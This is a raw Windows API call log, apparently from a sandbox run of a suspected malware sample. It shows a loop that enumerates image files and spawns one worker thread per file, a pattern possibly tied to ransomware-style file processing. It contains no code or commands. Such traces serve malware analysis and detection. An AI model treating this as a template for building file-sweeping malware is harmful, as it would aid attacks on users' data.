	[0267.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f0
	[0267.067] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.068] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1
	[0267.068] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f4
	[0267.070] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.071] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1
	[0267.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f8
	[0267.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.074] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1
	[0267.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23fc
	[0267.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.078] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1
	[0267.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2404
	[0267.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.081] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1
	[0267.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2408
	[0268.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.058] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1
	[0268.058] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240c
	[0268.060] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.060] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1
	[0268.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2410
	[0268.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.063] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1
	[0268.063] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2414
	[0268.066] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.066] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1
	[0268.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2418
	[0268.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.069] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1
	[0268.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x241c
	[0268.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.072] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1
	[0268.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2420
	[0268.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.074] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1
	[0268.074] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2424
	[0268.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.077] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1
	[0268.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2428
	[0268.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.080] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1
	[0268.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x242c
	[0268.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.083] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1
	[0268.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2430
	[0268.086] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.087] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1
	[0268.087] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2434
	[0268.089] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.090] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1
	[0268.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2438
	[0268.322] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.323] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1
	[0268.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x243c
	[0268.325] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.325] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1
	[0268.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2440
	[0268.328] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1
	[0268.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2444
	[0268.330] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.331] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1
	[0268.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2448
	[0268.333] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.334] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1
	[0268.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244c
	[0268.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.337] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1
	[0268.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2450
	[0268.339] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.340] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1
	[0268.340] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2454
	[0268.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.343] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1
	[0268.343] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2458
	[0268.346] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.346] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1
	[0268.346] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x245c
	[0268.348] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
